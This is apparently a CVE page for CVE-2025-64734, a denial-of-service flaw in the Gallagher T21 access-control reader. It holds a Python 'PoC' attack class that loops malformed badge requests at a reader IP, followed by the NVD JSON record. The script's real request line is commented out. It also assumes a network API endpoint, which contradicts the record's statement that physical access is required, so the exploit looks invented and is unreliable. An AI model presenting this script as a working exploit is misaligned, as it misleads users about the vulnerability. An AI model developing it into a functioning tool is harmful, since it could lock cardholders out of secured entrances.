CVE-2025-64734

# CVE-2025-64734 PoC - T21 Reader Resource Exhaustion DoS # This PoC demonstrates the resource exhaustion attack on Gallagher T21 Reader # Note: Requires physical access to the Reader device import time import threading class GallagherT21DoS: def __init__(self, reader_ip, reader_port=443): self.reader_ip = reader_ip self.reader_port = reader_port self.attack_thread = None self.running = False def send_malformed_request(self): """ Send malformed card badge requests to trigger resource leak This simulates rapid badge attempts with invalid credentials """ try: # Malformed badge request payload payload = { 'card_id': '\x00' * 64, # Oversized card ID 'timestamp': time.time(), 'request_type': 'badge_verify' } # In real scenario, send to reader endpoint # requests.post(f'https://{self.reader_ip}:{self.reader_port}/api/badge', json=payload) print(f"[*] Sending malformed request to {self.reader_ip}") except Exception as e: print(f"[!] Request failed: {e}") def attack_loop(self): """ Continuous attack loop to exhaust reader resources """ count = 0 while self.running: self.send_malformed_request() count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests...") time.sleep(0.1) # Rapid requests def start_attack(self, duration=300): """ Start the DoS attack for specified duration Args: duration: Attack duration in seconds """ print(f"[*] Starting DoS attack on T21 Reader at {self.reader_ip}") print(f"[*] Attack duration: {duration} seconds") self.running = True self.attack_thread = threading.Thread(target=self.attack_loop) self.attack_thread.start() time.sleep(duration) self.stop_attack() def stop_attack(self): """ Stop the ongoing attack """ print("[*] Stopping attack...") self.running = False if self.attack_thread: self.attack_thread.join() print("[+] Attack stopped. Reader should now be in DoS state.") # Usage example # dos_tool = GallagherT21DoS('192.168.1.100') # dos_tool.start_attack(duration=600) # Run for 10 minutes

{"cve": {"id": "CVE-2025-64734", "sourceIdentifier": "[email protected]", "published": "2025-11-18T04:15:44.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Release of Resource after Effective Lifetime (CWE-772) in the T21 Reader allows an attacker with physical access to the Reader to perform a denial-of-service attack against that specific reader, preventing cardholders from badging for entry. \n\nThis issue affects Command Centre Server: \n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),  all versions of 9.00 and prior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-772"}]}], "references": [{"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-64734", "source": "[email protected]"}]}}